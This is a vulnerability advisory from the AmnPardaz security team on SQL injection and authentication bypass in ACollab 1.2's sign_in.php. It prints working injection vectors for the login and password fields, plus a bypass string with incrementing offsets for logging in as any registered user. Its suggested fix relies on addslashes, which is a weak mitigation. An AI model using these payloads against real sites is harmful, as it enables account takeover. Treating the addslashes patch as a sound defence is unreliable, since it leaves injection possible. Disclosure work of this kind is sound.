ACollab 1.2 SQL Injection

`##########################www.BugReport.ir########################################  
#  
# AmnPardaz Security Research Team  
#  
# Title: ACollab Multiple Vulnerabilities  
# Vendor: http://www.atutor.ca/acollab  
# Vulnerable Version: 1.2 (Latest version till now)  
# Exploitation: Remote with browser  
# Fix: N/A  
###################################################################################  
  
####################  
- Description:  
####################  
  
ACollab as described by its vendor is an accessible, open source,   
multi-group, Web-based collaborative  
work environment. ACollab is available as a standalone collaborative   
work environment that will run on  
its own. ACollab is ideal for groups working at a distance developing   
documentation, collaborating on  
research, or writing joint papers.  
  
  
####################  
- Vulnerability:  
####################  
  
+--> SQL Injection  
All of the parameters are sanitized correctly before being used in   
SQL queries else of  
the POST parameters 'login' and 'password' in the "sign_in.php" page.   
These parameters  
can be used for injecting arbitrary SQL queries; the 'login'   
parameter is single quoted  
and the 'password' parameter is single parenthesized, single quoted.  
  
+--> Authentication Bypass  
The ACollab CMS uses two mechanism for authentication. One for master   
admin user which is  
based on a hard coded username/password initialized in the   
installation process. And a DB-based  
authentication for all other users, including the group   
administrators which can add/remove/edit  
all posts and news and ... from forums and first screen of the   
website. The second authentication  
mechanism can be bypassed.  
  
####################  
- Exploits/PoCs:  
####################  
  
+--> Exploiting The (MySQL) SQL Injection Vulnerability:  
Go to the sign in page at "victim.net/ACollab/sign_in.php" and use   
the following vectors for injecting  
your desired SQL query, namely $Q:  
- In the Username field (login POST parameter): ' or $Q or ''='  
- In the Password field (password POST parameter): ') or $Q or (''='  
  
+--> Exploiting The Authentication Bypass Vulnerability:  
You can login as anyone of the registered users of ACollab CMS by   
providing following vector  
as username and nothing as password:  
'or''='' limit 1 offset 0 -- '  
Above vector will log you as the first user according to its member   
id order. You can login as other  
users, searching for a group administrator account, by following vectors:  
'or''='' limit 1 offset 0 -- '  
'or''='' limit 1 offset 1 -- '  
'or''='' limit 1 offset 2 -- '  
....  
  
####################  
- Solution:  
####################  
  
Add the following command  
$_POST['login'] = addslashes ($_POST['login']);   
$_POST['password'] = addslashes ($_POST['password']);  
at the line 46 of 'sign_in.php' file.  
  
####################  
- Original Advisory:  
####################  
  
http://www.bugreport.ir/index_72.htm  
  
####################  
- Credit:  
####################  
AmnPardaz Security Research & Penetration Testing Group  
Contact: admin[4t}bugreport{d0t]ir  
www.BugReport.ir  
www.AmnPardaz.com  
`